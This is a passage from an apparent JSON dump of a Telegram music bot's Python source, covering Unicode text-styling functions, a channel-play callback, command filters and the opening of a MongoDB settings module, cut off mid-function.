\"M\": \"M͟\",\n            \"N\": \"N͟\",\n            \"O\": \"O͟\",\n            \"P\": \"P͟\",\n            \"Q\": \"Q͟\",\n            \"R\": \"R͟\",\n            \"S\": \"S͟\",\n            \"T\": \"T͟\",\n            \"U\": \"U͟\",\n            \"V\": \"V͟\",\n            \"W\": \"W͟\",\n            \"X\": \"X͟\",\n            \"Y\": \"Y͟\",\n            \"Z\": \"Z͟\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def ladybug(text):\n        style = {\n            \"a\": \"ꍏ\",\n            \"b\": \"ꌃ\",\n            \"c\": \"ꏳ\",\n            \"d\": \"ꀷ\",\n            \"e\": \"ꏂ\",\n            \"f\": \"ꎇ\",\n            \"g\": \"ꁅ\",\n            \"h\": \"ꀍ\",\n            \"i\": \"ꀤ\",\n            \"j\": \"꒻\",\n            \"k\": \"ꀘ\",\n            \"l\": \"꒒\",\n            \"m\": \"ꎭ\",\n            \"n\": \"ꈤ\",\n            \"o\": \"ꂦ\",\n            \"p\": \"ᖘ\",\n            \"q\": \"ꆰ\",\n            \"r\": \"ꋪ\",\n            \"s\": \"ꌚ\",\n            \"t\": \"꓄\",\n            \"u\": \"ꀎ\",\n            \"v\": \"꒦\",\n            \"w\": \"ꅐ\",\n            \"x\": \"ꉧ\",\n            \"y\": \"ꌩ\",\n            \"z\": \"ꁴ\",\n            \"A\": \"ꍏ\",\n            \"B\": \"ꌃ\",\n            \"C\": \"ꏳ\",\n            \"D\": \"ꀷ\",\n            \"E\": \"ꏂ\",\n            \"F\": \"ꎇ\",\n            \"G\": \"ꁅ\",\n            \"H\": \"ꀍ\",\n            \"I\": \"ꀤ\",\n            \"J\": \"꒻\",\n            \"K\": \"ꀘ\",\n            \"L\": \"꒒\",\n            \"M\": \"ꎭ\",\n            \"N\": \"ꈤ\",\n            \"O\": \"ꂦ\",\n            \"P\": \"ᖘ\",\n            \"Q\": \"ꆰ\",\n            \"R\": \"ꋪ\",\n            \"S\": \"ꌚ\",\n            \"T\": \"꓄\",\n            \"U\": \"ꀎ\",\n            \"V\": \"꒦\",\n            \"W\": \"ꅐ\",\n            \"X\": \"ꉧ\",\n            \"Y\": \"ꌩ\",\n            \"Z\": \"ꁴ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def rays(text):\n        style = {\n            \"a\": \"a҉\",\n            \"b\": \"b҉\",\n            \"c\": \"c҉\",\n            \"d\": \"d҉\",\n            \"e\": \"e҉\",\n            \"f\": \"f҉\",\n            \"g\": \"g҉\",\n            \"h\": \"h҉\",\n            \"i\": \"i҉\",\n            \"j\": \"j҉\",\n            \"k\": \"k҉\",\n            \"l\": \"l҉\",\n            \"m\": \"m҉\",\n            \"n\": \"n҉\",\n            \"o\": \"o҉\",\n            \"p\": \"p҉\",\n            \"q\": \"q҉\",\n            \"r\": \"r҉\",\n            \"s\": \"s҉\",\n            \"t\": \"t҉\",\n            \"u\": \"u҉\",\n            \"v\": \"v҉\",\n            \"w\": \"w҉\",\n            \"x\": \"x҉\",\n            \"y\": \"y҉\",\n            \"z\": \"z҉\",\n            \"A\": \"A҉\",\n            \"B\": \"B҉\",\n            \"C\": \"C҉\",\n            \"D\": \"D҉\",\n            \"E\": \"E҉\",\n            \"F\": \"F҉\",\n            \"G\": \"G҉\",\n            \"H\": \"H҉\",\n            \"I\": \"I҉\",\n            \"J\": \"J҉\",\n            \"K\": \"K҉\",\n            \"L\": \"L҉\",\n            \"M\": \"M҉\",\n            \"N\": \"N҉\",\n            \"O\": \"O҉\",\n            \"P\": \"P҉\",\n            \"Q\": \"Q҉\",\n            \"R\": \"R҉\",\n            \"S\": \"S҉\",\n            \"T\": \"T҉\",\n            \"U\": \"U҉\",\n            \"V\": \"V҉\",\n            \"W\": \"W҉\",\n            \"X\": \"X҉\",\n            \"Y\": \"Y҉\",\n            \"Z\": \"Z҉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def birds(text):\n        style = {\n            \"a\": \"a҈\",\n            \"b\": \"b҈\",\n            \"c\": \"c҈\",\n            \"d\": \"d҈\",\n            \"e\": \"e҈\",\n            \"f\": \"f҈\",\n            \"g\": \"g҈\",\n            \"h\": \"h҈\",\n            \"i\": \"i҈\",\n            \"j\": \"j҈\",\n            \"k\": \"k҈\",\n            \"l\": \"l҈\",\n            \"m\": \"m҈\",\n            \"n\": \"n҈\",\n            \"o\": \"o҈\",\n            \"p\": \"p҈\",\n            \"q\": \"q҈\",\n            \"r\": \"r҈\",\n            \"s\": \"s҈\",\n            \"t\": \"t҈\",\n            \"u\": \"u҈\",\n            \"v\": \"v҈\",\n            \"w\": \"w҈\",\n            \"x\": \"x҈\",\n            \"y\": \"y҈\",\n            \"z\": \"z҈\",\n            \"A\": \"A҈\",\n            \"B\": \"B҈\",\n            \"C\": \"C҈\",\n            \"D\": \"D҈\",\n            \"E\": \"E҈\",\n            \"F\": \"F҈\",\n            \"G\": \"G҈\",\n            \"H\": \"H҈\",\n            \"I\": \"I҈\",\n            \"J\": \"J҈\",\n            \"K\": \"K҈\",\n            \"L\": \"L҈\",\n            \"M\": \"M҈\",\n            \"N\": \"N҈\",\n            \"O\": \"O҈\",\n            \"P\": \"P҈\",\n            \"Q\": \"Q҈\",\n            \"R\": \"R҈\",\n            \"S\": \"S҈\",\n            \"T\": \"T҈\",\n            \"U\": \"U҈\",\n            \"V\": \"V҈\",\n            \"W\": \"W҈\",\n            \"X\": \"X҈\",\n            \"Y\": \"Y҈\",\n            \"Z\": \"Z҈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slash(text):\n        style = {\n            \"a\": \"a̸\",\n            \"b\": \"b̸\",\n            \"c\": \"c̸\",\n            \"d\": \"d̸\",\n            \"e\": \"e̸\",\n            \"f\": \"f̸\",\n            \"g\": \"g̸\",\n            \"h\": \"h̸\",\n            \"i\": \"i̸\",\n            \"j\": \"j̸\",\n            \"k\": \"k̸\",\n            \"l\": \"l̸\",\n            \"m\": \"m̸\",\n            \"n\": \"n̸\",\n            \"o\": \"o̸\",\n            \"p\": \"p̸\",\n            \"q\": \"q̸\",\n            \"r\": \"r̸\",\n            \"s\": \"s̸\",\n            \"t\": \"t̸\",\n            \"u\": \"u̸\",\n            \"v\": \"v̸\",\n            \"w\": \"w̸\",\n            \"x\": \"x̸\",\n            \"y\": \"y̸\",\n            \"z\": \"z̸\",\n            \"A\": \"A̸\",\n            \"B\": \"B̸\",\n            \"C\": \"C̸\",\n            \"D\": \"D̸\",\n            \"E\": \"E̸\",\n            \"F\": \"F̸\",\n            \"G\": \"G̸\",\n            \"H\": \"H̸\",\n            \"I\": \"I̸\",\n            \"J\": \"J̸\",\n            \"K\": \"K̸\",\n            \"L\": \"L̸\",\n            \"M\": \"M̸\",\n            \"N\": \"N̸\",\n            \"O\": \"O̸\",\n            \"P\": \"P̸\",\n            \"Q\": \"Q̸\",\n            \"R\": \"R̸\",\n            \"S\": \"S̸\",\n            \"T\": \"T̸\",\n            \"U\": \"U̸\",\n            \"V\": \"V̸\",\n            \"W\": \"W̸\",\n            \"X\": \"X̸\",\n            \"Y\": \"Y̸\",\n            \"Z\": \"Z̸\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def stop(text):\n        style = {\n            \"a\": \"a⃠\",\n            \"b\": \"b⃠\",\n            \"c\": \"c⃠\",\n            \"d\": \"d⃠\",\n            \"e\": \"e⃠\",\n            \"f\": \"f⃠\",\n            \"g\": \"g⃠\",\n            \"h\": \"h⃠\",\n            \"i\": \"i⃠\",\n            \"j\": \"j⃠\",\n            \"k\": \"k⃠\",\n            \"l\": \"l⃠\",\n            \"m\": \"m⃠\",\n            \"n\": \"n⃠\",\n            \"o\": \"o⃠\",\n            \"p\": \"p⃠\",\n            \"q\": \"q⃠\",\n            \"r\": \"r⃠\",\n            \"s\": \"s⃠\",\n            \"t\": \"t⃠\",\n            \"u\": \"u⃠\",\n            \"v\": \"v⃠\",\n            \"w\": \"w⃠\",\n            \"x\": \"x⃠\",\n            \"y\": \"y⃠\",\n            \"z\": \"z⃠\",\n            \"A\": \"A⃠\",\n            \"B\": \"B⃠\",\n            \"C\": \"C⃠\",\n            \"D\": \"D⃠\",\n            \"E\": \"E⃠\",\n            \"F\": \"F⃠\",\n            \"G\": \"G⃠\",\n            \"H\": \"H⃠\",\n            \"I\": \"I⃠\",\n            \"J\": \"J⃠\",\n            \"K\": \"K⃠\",\n            \"L\": \"L⃠\",\n            \"M\": \"M⃠\",\n            \"N\": \"N⃠\",\n            \"O\": \"O⃠\",\n            \"P\": \"P⃠\",\n            \"Q\": \"Q⃠\",\n            \"R\": \"R⃠\",\n            \"S\": \"S⃠\",\n            \"T\": \"T⃠\",\n            \"U\": \"U⃠\",\n            \"V\": \"V⃠\",\n            \"W\": \"W⃠\",\n            \"X\": \"X⃠\",\n            \"Y\": \"Y⃠\",\n            \"Z\": \"Z⃠\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def skyline(text):\n        style = {\n            \"a\": \"a̺͆\",\n            \"b\": \"b̺͆\",\n            \"c\": \"c̺͆\",\n            \"d\": \"d̺͆\",\n            \"e\": \"e̺͆\",\n            \"f\": \"f̺͆\",\n            \"g\": \"g̺͆\",\n            \"h\": \"h̺͆\",\n            \"i\": \"i̺͆\",\n            \"j\": \"j̺͆\",\n            \"k\": \"k̺͆\",\n            \"l\": \"l̺͆\",\n            \"m\": \"m̺͆\",\n            \"n\": \"n̺͆\",\n            \"o\": \"o̺͆\",\n            \"p\": \"p̺͆\",\n            \"q\": \"q̺͆\",\n            \"r\": \"r̺͆\",\n            \"s\": \"s̺͆\",\n            \"t\": \"t̺͆\",\n            \"u\": \"u̺͆\",\n            \"v\": \"v̺͆\",\n            \"w\": \"w̺͆\",\n            \"x\": \"x̺͆\",\n            \"y\": \"y̺͆\",\n            \"z\": \"z̺͆\",\n            \"A\": \"A̺͆\",\n            \"B\": \"B̺͆\",\n            \"C\": \"C̺͆\",\n            \"D\": \"D̺͆\",\n            \"E\": \"E̺͆\",\n            \"F\": \"F̺͆\",\n            \"G\": \"G̺͆\",\n            \"H\": \"H̺͆\",\n            \"I\": \"I̺͆\",\n            \"J\": \"J̺͆\",\n            \"K\": \"K̺͆\",\n            \"L\": \"L̺͆\",\n            \"M\": \"M̺͆\",\n            \"N\": \"N̺͆\",\n            \"O\": \"O̺͆\",\n            \"P\": \"P̺͆\",\n            \"Q\": \"Q̺͆\",\n            \"R\": \"R̺͆\",\n            \"S\": \"S̺͆\",\n            \"T\": \"T̺͆\",\n            \"U\": \"U̺͆\",\n            \"V\": \"V̺͆\",\n            \"W\": \"W̺͆\",\n            \"X\": \"X̺͆\",\n            \"Y\": \"Y̺͆\",\n            \"Z\": \"Z̺͆\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def arrows(text):\n        style = {\n            \"a\": \"a͎\",\n            \"b\": \"b͎\",\n            \"c\": \"c͎\",\n            \"d\": \"d͎\",\n            \"e\": \"e͎\",\n            \"f\": \"f͎\",\n            \"g\": \"g͎\",\n            \"h\": \"h͎\",\n            \"i\": \"i͎\",\n            \"j\": \"j͎\",\n            \"k\": \"k͎\",\n            \"l\": \"l͎\",\n            \"m\": \"m͎\",\n            \"n\": \"n͎\",\n            \"o\": \"o͎\",\n            \"p\": \"p͎\",\n            \"q\": \"q͎\",\n            \"r\": \"r͎\",\n            \"s\": \"s͎\",\n            \"t\": \"t͎\",\n            \"u\": \"u͎\",\n            \"v\": \"v͎\",\n            \"w\": \"w͎\",\n            \"x\": \"x͎\",\n            \"y\": \"y͎\",\n            \"z\": \"z͎\",\n            \"A\": \"A͎\",\n            \"B\": \"B͎\",\n            \"C\": \"C͎\",\n            \"D\": \"D͎\",\n            \"E\": \"E͎\",\n            \"F\": \"F͎\",\n            \"G\": \"G͎\",\n            \"H\": \"H͎\",\n            \"I\": \"I͎\",\n            \"J\": \"J͎\",\n            \"K\": \"K͎\",\n            \"L\": \"L͎\",\n            \"M\": \"M͎\",\n            \"N\": \"N͎\",\n            \"O\": \"O͎\",\n            \"P\": \"P͎\",\n            \"Q\": \"Q͎\",\n            \"R\": \"R͎\",\n            \"S\": \"S͎\",\n            \"T\": \"T͎\",\n            \"U\": \"U͎\",\n            \"V\": \"V͎\",\n            \"W\": \"W͎\",\n            \"X\": \"X͎\",\n            \"Y\": \"Y͎\",\n            \"Z\": \"Z͎\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def rvnes(text):\n        style = {\n            \"a\": \"ል\",\n            \"b\": \"ጌ\",\n            \"c\": \"ር\",\n            \"d\": \"ዕ\",\n            \"e\": \"ቿ\",\n            \"f\": \"ቻ\",\n            \"g\": \"ኗ\",\n            \"h\": \"ዘ\",\n            \"i\": \"ጎ\",\n            \"j\": \"ጋ\",\n            \"k\": \"ጕ\",\n            \"l\": \"ረ\",\n            \"m\": \"ጠ\",\n            \"n\": \"ክ\",\n            \"o\": \"ዐ\",\n            \"p\": \"የ\",\n            \"q\": \"ዒ\",\n            \"r\": \"ዪ\",\n            \"s\": \"ነ\",\n            \"t\": \"ፕ\",\n            \"u\": \"ሁ\",\n            \"v\": \"ሀ\",\n            \"w\": \"ሠ\",\n            \"x\": \"ሸ\",\n            \"y\": \"ሃ\",\n            \"z\": \"ጊ\",\n            \"A\": \"ል\",\n            \"B\": \"ጌ\",\n            \"C\": \"ር\",\n            \"D\": \"ዕ\",\n            \"E\": \"ቿ\",\n            \"F\": \"ቻ\",\n            \"G\": \"ኗ\",\n            \"H\": \"ዘ\",\n            \"I\": \"ጎ\",\n            \"J\": \"ጋ\",\n            \"K\": \"ጕ\",\n            \"L\": \"ረ\",\n            \"M\": \"ጠ\",\n            \"N\": \"ክ\",\n            \"O\": \"ዐ\",\n            \"P\": \"የ\",\n            \"Q\": \"ዒ\",\n            \"R\": \"ዪ\",\n            \"S\": \"ነ\",\n            \"T\": \"ፕ\",\n            \"U\": \"ሁ\",\n            \"V\": \"ሀ\",\n            \"W\": \"ሠ\",\n            \"X\": \"ሸ\",\n            \"Y\": \"ሃ\",\n            \"Z\": \"ጊ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def strike(text):\n        style = {\n            \"a\": \"a̶\",\n            \"b\": \"b̶\",\n            \"c\": \"c̶\",\n            \"d\": \"d̶\",\n            \"e\": \"e̶\",\n            \"f\": \"f̶\",\n            \"g\": \"g̶\",\n            \"h\": \"h̶\",\n            \"i\": \"i̶\",\n            \"j\": \"j̶\",\n            \"k\": \"k̶\",\n            \"l\": \"l̶\",\n            \"m\": \"m̶\",\n            \"n\": \"n̶\",\n            \"o\": \"o̶\",\n            \"p\": \"p̶\",\n            \"q\": \"q̶\",\n            \"r\": \"r̶\",\n            \"s\": \"s̶\",\n            \"t\": \"t̶\",\n            \"u\": \"u̶\",\n            \"v\": \"v̶\",\n            \"w\": \"w̶\",\n            \"x\": \"x̶\",\n            \"y\": \"y̶\",\n            \"z\": \"z̶\",\n            \"A\": \"A̶\",\n            \"B\": \"B̶\",\n            \"C\": \"C̶\",\n            \"D\": \"D̶\",\n            \"E\": \"E̶\",\n            \"F\": \"F̶\",\n            \"G\": \"G̶\",\n            \"H\": \"H̶\",\n            \"I\": \"I̶\",\n            \"J\": \"J̶\",\n            \"K\": \"K̶\",\n            \"L\": \"L̶\",\n            \"M\": \"M̶\",\n            \"N\": \"N̶\",\n            \"O\": \"O̶\",\n            \"P\": \"P̶\",\n            \"Q\": \"Q̶\",\n            \"R\": \"R̶\",\n            \"S\": \"S̶\",\n            \"T\": \"T̶\",\n            \"U\": \"U̶\",\n            \"V\": \"V̶\",\n            \"W\": \"W̶\",\n            \"X\": \"X̶\",\n            \"Y\": \"Y̶\",\n            \"Z\": \"Z̶\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def frozen(text):\n        style = {\n            \"a\": \"a༙\",\n            \"b\": \"b༙\",\n            \"c\": \"c༙\",\n            \"d\": \"d༙\",\n            \"e\": \"e༙\",\n            \"f\": \"f༙\",\n            \"g\": \"g༙\",\n            \"h\": \"h༙\",\n            \"i\": \"i༙\",\n            \"j\": \"j༙\",\n            \"k\": \"k༙\",\n            \"l\": \"l༙\",\n            \"m\": \"m༙\",\n            \"n\": \"n༙\",\n            \"o\": \"o༙\",\n            \"p\": \"p༙\",\n            \"q\": \"q༙\",\n            \"r\": \"r༙\",\n            \"s\": \"s༙\",\n            \"t\": \"t༙\",\n            \"u\": \"u༙\",\n            \"v\": \"v༙\",\n            \"w\": \"w༙\",\n            \"x\": \"x༙\",\n            \"y\": \"y༙\",\n            \"z\": \"z༙\",\n            \"A\": \"A༙\",\n            \"B\": \"B༙\",\n            \"C\": \"C༙\",\n            \"D\": \"D༙\",\n            \"E\": \"E༙\",\n            \"F\": \"F༙\",\n            \"G\": \"G༙\",\n            \"H\": \"H༙\",\n            \"I\": \"I༙\",\n            \"J\": \"J༙\",\n            \"K\": \"K༙\",\n            \"L\": \"L༙\",\n            \"M\": \"M༙\",\n            \"N\": \"N༙\",\n            \"O\": \"O༙\",\n            \"P\": \"P༙\",\n            \"Q\": \"Q༙\",\n            \"R\": \"R༙\",\n            \"S\": \"S༙\",\n            \"T\": \"T༙\",\n            \"U\": \"U༙\",\n            \"V\": \"V༙\",\n            \"W\": \"W༙\",\n            \"X\": \"X༙\",\n            \"Y\": \"Y༙\",\n            \"Z\": \"Z༙\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n"
  },
  {
    "path": "BrandrdXMusic/utils/channelplay.py",
    "content": "from BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_cmode\n\n\nasync def get_channeplayCB(_, command, CallbackQuery):\n    if command == \"c\":\n        chat_id = await get_cmode(CallbackQuery.message.chat.id)\n        if chat_id is None:\n            try:\n                return await CallbackQuery.answer(_[\"setting_7\"], show_alert=True)\n            except:\n                return\n        try:\n            channel = (await app.get_chat(chat_id)).title\n        except:\n            try:\n                return await CallbackQuery.answer(_[\"cplay_4\"], show_alert=True)\n            except:\n                return\n    else:\n        chat_id = CallbackQuery.message.chat.id\n        channel = None\n    return chat_id, channel\n"
  },
  {
    "path": "BrandrdXMusic/utils/cmdforac.py",
    "content": "from typing import Union, List\nfrom pyrogram import filters\n\nother_filters = filters.group & ~filters.via_bot & ~filters.forwarded\nother_filters2 = (\n    filters.private & ~filters.via_bot & ~filters.forwarded\n)\n\n\ndef avoice(commands: Union[str, List[str]]):\n    return filters.command(commands, \"\")\n"
  },
  {
    "path": "BrandrdXMusic/utils/database.py",
    "content": "import random\r\nfrom typing import Dict, List, Union\r\n\r\nfrom BrandrdXMusic import userbot\r\nfrom BrandrdXMusic.core.mongo import mongodb, pymongodb\r\n\r\nauthdb = mongodb.adminauth\r\nauthuserdb = mongodb.authuser\r\nautoenddb = mongodb.autoend\r\nassdb = mongodb.assistants\r\nblacklist_chatdb = mongodb.blacklistChat\r\nblockeddb = mongodb.blockedusers\r\nchatsdb = mongodb.chats\r\nchanneldb = mongodb.cplaymode\r\ncountdb = mongodb.upcount\r\ngbansdb = mongodb.gban\r\nlangdb = mongodb.language\r\nonoffdb = mongodb.onoffper\r\nplaymodedb = mongodb.playmode\r\nplaytypedb = mongodb.playtypedb\r\nskipdb = mongodb.skipmode\r\nsudoersdb = mongodb.sudoers\r\nusersdb = mongodb.tgusersdb\r\nprivatedb = mongodb.privatechats\r\nsuggdb = mongodb.suggestion\r\ncleandb = mongodb.cleanmode\r\nqueriesdb = mongodb.queries\r\nuserdb = mongodb.userstats\r\nvideodb = mongodb.vipvideocalls\r\nchatsdbc = mongodb.chatsc  # for clone\r\nusersdbc = mongodb.tgusersdbc  # for clone\r\n\r\n# Shifting to memory [mongo sucks often]\r\nactive = []\r\nactivevideo = []\r\nassistantdict = {}\r\nautoend = {}\r\ncount = {}\r\nchannelconnect = {}\r\nlangm = {}\r\nloop = {}\r\nmaintenance = []\r\nnonadmin = {}\r\npause = {}\r\nplaymode = {}\r\nplaytype = {}\r\nskipmode = {}\r\nprivatechats = {}\r\ncleanmode = []\r\nsuggestion = {}\r\nmute = {}\r\naudio = {}\r\nvideo = {}\r\n\r\n# Total Queries on bot\r\n\r\n\r\nasync def get_queries() -> int:\r\n    chat_id = 98324\r\n    mode = await queriesdb.find_one({\"chat_id\": chat_id})\r\n    if not mode:\r\n        return 0\r\n    return mode[\"mode\"]\r\n\r\n\r\nasync def set_queries(mode: int):\r\n    chat_id = 98324\r\n    queries = await queriesdb.find_one({\"chat_id\": chat_id})\r\n    if queries:\r\n        mode = queries[\"mode\"] + mode\r\n    return await queriesdb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"mode\": mode}}, upsert=True\r\n    )\r\n\r\n\r\n# Top Chats DB\r\n\r\n\r\nasync def get_top_chats() -> dict:\r\n    results = {}\r\n    async for chat in chattopdb.find({\"chat_id\": {\"$lt\": 0}}):\r\n        chat_id = chat[\"chat_id\"]\r\n        total = 0\r\n        for i in chat[\"vidid\"]:\r\n            counts_ = chat[\"vidid\"][i][\"spot\"]\r\n            if counts_ > 0:\r\n                total += counts_\r\n                results[chat_id] = total\r\n    return results\r\n\r\n\r\nasync def get_global_tops() -> dict:\r\n    results = {}\r\n    async for chat in chattopdb.find({\"chat_id\": {\"$lt\": 0}}):\r\n        for i in chat[\"vidid\"]:\r\n            counts_ = chat[\"vidid\"][i][\"spot\"]\r\n            title_ = chat[\"vidid\"][i][\"title\"]\r\n            if counts_ > 0:\r\n                if i not in results:\r\n                    results[i] = {}\r\n                    results[i][\"spot\"] = counts_\r\n                    results[i][\"title\"] = title_\r\n                else:\r\n                    spot = results[i][\"spot\"]\r\n                    count_ = spot + counts_\r\n                    results[i][\"spot\"] = count_\r\n    return results\r\n\r\n\r\nasync def get_particulars(chat_id: int) -> Dict[str, int]:\r\n    ids = await chattopdb.find_one({\"chat_id\": chat_id})\r\n    if not ids:\r\n        return {}\r\n    return ids[\"vidid\"]\r\n\r\n\r\nasync def get_particular_top(chat_id: int, name: str) -> Union[bool, dict]:\r\n    ids = await get_particulars(chat_id)\r\n    if name in ids:\r\n        return ids[name]\r\n\r\n\r\nasync def update_particular_top(chat_id: int, name: str, vidid: dict):\r\n    ids = await get_particulars(chat_id)\r\n    ids[name] = vidid\r\n    await chattopdb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"vidid\": ids}}, upsert=True\r\n    )\r\n\r\n\r\n# Top User DB\r\n\r\n\r\nasync def get_userss(chat_id: int) -> Dict[str, int]:\r\n    ids = await userdb.find_one({\"chat_id\": chat_id})\r\n    if not ids:\r\n        return {}\r\n    return ids[\"vidid\"]\r\n\r\n\r\nasync def get_user_top(chat_id: int, name: str) -> Union[bool, dict]:\r\n    ids = await get_userss(chat_id)\r\n    if name in ids:\r\n        return ids[name]\r\n\r\n\r\nasync def update_user_top(chat_id: int, name: str, vidid: dict):\r\n    ids = await get_userss(chat_id)\r\n    ids[name] = vidid\r\n    await userdb.update_one({\"chat_id\": chat_id}, {\"$set\": {\"vidid\": ids}}, upsert=True)\r\n\r\n\r\nasync def get_topp_users() -> dict:\r\n    results = {}\r\n    async for chat in userdb.find({\"chat_id\": {\"$gt\": 0}}):\r\n        user_id = chat[\"chat_id\"]\r\n        total = 0\r\n        for i in chat[\"vidid\"]:\r\n            counts_ = chat[\"vidid\"][i][\"spot\"]\r\n            if counts_ > 0:\r\n                total += counts_\r\n        results[user_id] = total\r\n    return results\r\n\r\n\r\nasync def get_assistant_number(chat_id: int) -> str:\r\n    assistant = assistantdict.get(chat_id)\r\n    return assistant\r\n\r\n\r\nasync def get_client(assistant: int):\r\n    if int(assistant) == 1:\r\n        return userbot.one\r\n    elif int(assistant) == 2:\r\n        return userbot.two\r\n    elif int(assistant) == 3:\r\n        return userbot.three\r\n    elif int(assistant) == 4:\r\n        return userbot.four\r\n    elif int(assistant) == 5:\r\n        return userbot.five\r\n\r\n\r\nasync def set_assistant_new(chat_id, number):\r\n    number = int(number)\r\n    await assdb.update_one(\r\n        {\"chat_id\": chat_id},\r\n        {\"$set\": {\"assistant\": number}},\r\n        upsert=True,\r\n    )\r\n\r\n\r\nasync def set_assistant(chat_id):\r\n    from BrandrdXMusic.core.userbot import assistants\r\n\r\n    ran_assistant = random.choice(assistants)\r\n    assistantdict[chat_id] = ran_assistant\r\n    await assdb.update_one(\r\n        {\"chat_id\": chat_id},\r\n        {\"$set\": {\"assistant\": ran_assistant}},\r\n        upsert=True,\r\n    )\r\n    userbot = await get_client(ran_assistant)\r\n    return userbot\r\n\r\n\r\nasync def get_assistant(chat_id: int) -> str:\r\n    from BrandrdXMusic.core.userbot import assistants\r\n\r\n    assistant = assistantdict.get(chat_id)\r\n    if not assistant:\r\n        dbassistant = await assdb.find_one({\"chat_id\": chat_id})\r\n        if not dbassistant:\r\n            userbot = await set_assistant(chat_id)\r\n            return userbot\r\n        else:\r\n            got_assis = dbassistant[\"assistant\"]\r\n            if got_assis in assistants:\r\n                assistantdict[chat_id] = got_assis\r\n                userbot = await get_client(got_assis)\r\n                return userbot\r\n            else:\r\n                userbot = await set_assistant(chat_id)\r\n                return userbot\r\n    else:\r\n        if assistant in assistants:\r\n            userbot = await get_client(assistant)\r\n            return userbot\r\n        else:\r\n            userbot = await set_assistant(chat_id)\r\n            return userbot\r\n\r\n\r\nasync def set_calls_assistant(chat_id):\r\n    from BrandrdXMusic.core.userbot import assistants\r\n\r\n    ran_assistant = random.choice(assistants)\r\n    assistantdict[chat_id] = ran_assistant\r\n    await assdb.update_one(\r\n        {\"chat_id\": chat_id},\r\n        {\"$set\": {\"assistant\": ran_assistant}},\r\n        upsert=True,\r\n    )\r\n    return ran_assistant\r\n\r\n\r\nasync def group_assistant(self, chat_id: int) -> int:\r\n    from BrandrdXMusic.core.userbot import assistants\r\n\r\n    assistant = assistantdict.get(chat_id)\r\n    if not assistant:\r\n        dbassistant = await assdb.find_one({\"chat_id\": chat_id})\r\n        if not dbassistant:\r\n            assis = await set_calls_assistant(chat_id)\r\n        else:\r\n            assis = dbassistant[\"assistant\"]\r\n            if assis in assistants:\r\n                assistantdict[chat_id] = assis\r\n                assis = assis\r\n            else:\r\n                assis = await set_calls_assistant(chat_id)\r\n    else:\r\n        if assistant in assistants:\r\n            assis = assistant\r\n        else:\r\n            assis = await set_calls_assistant(chat_id)\r\n    if int(assis) == 1:\r\n        return self.one\r\n    elif int(assis) == 2:\r\n        return self.two\r\n    elif int(assis) == 3:\r\n        return self.three\r\n    elif int(assis) == 4:\r\n        return self.four\r\n    elif int(assis) == 5:\r\n        return self.five\r\n\r\n\r\nasync def is_skipmode(chat_id: int) -> bool:\r\n    mode = skipmode.get(chat_id)\r\n    if not mode:\r\n        user = await skipdb.find_one({\"chat_id\": chat_id})\r\n        if not user:\r\n            skipmode[chat_id] = True\r\n            return True\r\n        skipmode[chat_id] = False\r\n        return False\r\n    return mode\r\n\r\n\r\nasync def skip_on(chat_id: int):\r\n    skipmode[chat_id] = True\r\n    user = await skipdb.find_one({\"chat_id\": chat_id})\r\n    if user:\r\n        return await skipdb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def skip_off(chat_id: int):\r\n    skipmode[chat_id] = False\r\n    user = await skipdb.find_one({\"chat_id\": chat_id})\r\n    if not user:\r\n        return await skipdb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def get_upvote_count(chat_id: int) -> int:\r\n    mode = count.get(chat_id)\r\n    if not mode:\r\n        mode = await countdb.find_one({\"chat_id\": chat_id})\r\n        if not mode:\r\n            return 5\r\n        count[chat_id] = mode[\"mode\"]\r\n        return mode[\"mode\"]\r\n    return mode\r\n\r\n\r\nasync def set_upvotes(chat_id: int, mode: int):\r\n    count[chat_id] = mode\r\n    await countdb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"mode\": mode}}, upsert=True\r\n    )\r\n\r\n\r\nasync def is_autoend() -> bool:\r\n    chat_id = 1234\r\n    user = await autoenddb.find_one({\"chat_id\": chat_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def autoend_on():\r\n    chat_id = 1234\r\n    await autoenddb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def autoend_off():\r\n    chat_id = 1234\r\n    await autoenddb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def get_loop(chat_id: int) -> int:\r\n    lop = loop.get(chat_id)\r\n    if not lop:\r\n        return 0\r\n    return lop\r\n\r\n\r\nasync def set_loop(chat_id: int, mode: int):\r\n    loop[chat_id] = mode\r\n\r\n\r\nasync def get_cmode(chat_id: int) -> int:\r\n    mode = channelconnect.get(chat_id)\r\n    if not mode:\r\n        mode = await channeldb.find_one({\"chat_id\": chat_id})\r\n        if not mode:\r\n            return None\r\n        channelconnect[chat_id] = mode[\"mode\"]\r\n        return mode[\"mode\"]\r\n    return mode\r\n\r\n\r\nasync def set_cmode(chat_id: int, mode: int):\r\n    channelconnect[chat_id] = mode\r\n    await channeldb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"mode\": mode}}, upsert=True\r\n    )\r\n\r\n\r\nasync def get_playtype(chat_id: int) -> str:\r\n    mode = playtype.get(chat_id)\r\n    if not mode:\r\n        mode = await playtypedb.find_one({\"chat_id\": chat_id})\r\n        if not mode:\r\n            playtype[chat_id] = \"Everyone\"\r\n            return \"Everyone\"\r\n        playtype[chat_id] = mode[\"mode\"]\r\n        return mode[\"mode\"]\r\n    return mode\r\n\r\n\r\nasync def 